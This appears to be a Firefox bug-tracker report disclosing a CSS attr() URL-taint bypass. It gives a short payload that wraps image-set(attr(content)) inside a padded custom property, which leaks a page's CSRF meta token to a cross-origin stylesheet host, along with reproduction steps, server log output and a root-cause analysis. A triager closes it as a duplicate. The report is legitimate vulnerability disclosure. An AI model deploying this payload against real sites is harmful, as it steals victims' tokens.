CSS attr() URL-taint bypass via whole-property var()
Categories
(Core :: CSS Parsing and Computation, defect)
Tracking
()
People
(Reporter: kq5y, Unassigned)
Details
(Keywords: reporter-external, Whiteboard: [client-bounty-form])
Attachments
(1 file)
|
2.84 KB,
text/x-python-script
|
Details |
Description
Overview:
An attacker who can cause a victim document to load an attacker-controlled stylesheet from a different origin can cause Firefox to use an attr() result as an image URL through a whole-property var() substitution. The request discloses a URL-compatible element-attribute value to the stylesheet origin.
The stylesheet response needs no CORS permission. The document must permit both the stylesheet load and an image request to the attacker origin; a restrictive style-src or img-src policy prevents the attack.
Tested version:
- Firefox Nightly 155.0a1, Build ID
20260812202037, Linux x86_64. - Main revision
7a1829761d5b8d1dd0db6c1ad411544283a1e954, Firefox 155.0a1, Build ID20260813143713, Linux x86_64. - Firefox 153.0.4, Build ID
20260810162159, Linux x86_64, was a non-exposed release control.
Each test used a fresh profile and default CSS settings. The issue reproduced on every affected-build attempt.
Steps to reproduce:
- Run the attached
poc.pywith Python 3. It starts two loopback HTTP servers and prints the victim URL. - Open the printed URL in a fresh profile of an affected Firefox build.
- Wait up to 10 seconds and inspect stdout from the stylesheet server.
- On an affected build, confirm it receives
GET /style.cssfollowed byGET /leak/csrf-meta-token. - Confirm it receives no request containing
direct-control,short-control, ornonwhole-control.
Actual results:
The triggering declaration is:
--payload: linear-gradient(90deg, red, blue), image-set(attr(content));
background-image: var(--payload);
On affected builds, the stylesheet server prints:
attacker received: GET /style.css
attacker received: GET /leak/csrf-meta-token
No request is printed for the three controls.
Firefox accepts the meta[name=csrf-token] element's content attribute as an image URL. Because the declaration came from the cross-origin stylesheet, the relative value resolves to that origin and sends the token as a request path.
The same build rejects direct image-set(attr(content)), a short substituted value, and a declaration that avoids the whole-property optimization. Firefox 153.0.4 sends no attribute request because generalized attr() is not exposed there.
Expected results:
A URL derived from attr() must make the declaration invalid at computed value time. None of the attr() cases should generate an image request.
Impact:
An attacker who can cause a victim document to load their stylesheet can exfiltrate a URL-compatible attribute through an image request. The PoC models a sensitive meta[content] value such as a CSRF token. No script or CSSOM access is required. This does not expose cookies, storage, text nodes, or JavaScript properties, and a restrictive image CSP prevents the request.
Suspected root cause:
The whole-property fast path returns the substituted CSS but records the attr()-tainted byte range from the original short var(--payload) text. The longer output uses different byte offsets.
URL validation rejects only URL ranges that overlap the recorded taint. A URL after a harmless prefix misses the stale range. The normal substitution path records output-relative offsets, which explains the negative controls.
Related public work and duplicate check:
Bug 1997340 introduced the initial attr() URL-tainting work. Bug 1997583 implemented partial taint tracking and was fixed for Firefox 152. This report is a potential regression in its whole-property substitution path, rather than the earlier generic URL-tainting issue.
Bug 2036232 concerns a different shorthand-reparsing path in which ranges are not propagated. Here the longhand taint survives but appears to use stale coordinates. No public report describing this specific mechanism was found.
| Reporter | ||
Updated•3 months ago
|
Comment 1•3 months ago
|
||
Thank you for the report. This issue has been determined to be a duplicate of bug <>.
Both describe the exact same vulnerability:
- The exact/whole-property substitution fast path in
servo/components/style/custom_properties.rsrecords the attr()-taint range using byte offsets from the short originalvar()/attr()reference, not the longer substituted output. - A padded custom property (
image-set(attr(...))preceded by harmless tokens) places the URL beyond the stale taint range, sourl/mod.rsURL validation misses the overlap and the attribute is exfiltrated to the stylesheet origin. - Both attribute the regression to Bug 1997583's partial-tainting work and both use
image-set(attr(content))cross-origin-stylesheet PoCs.
Updated•3 months ago
|
Updated•5 days ago
|
Description
•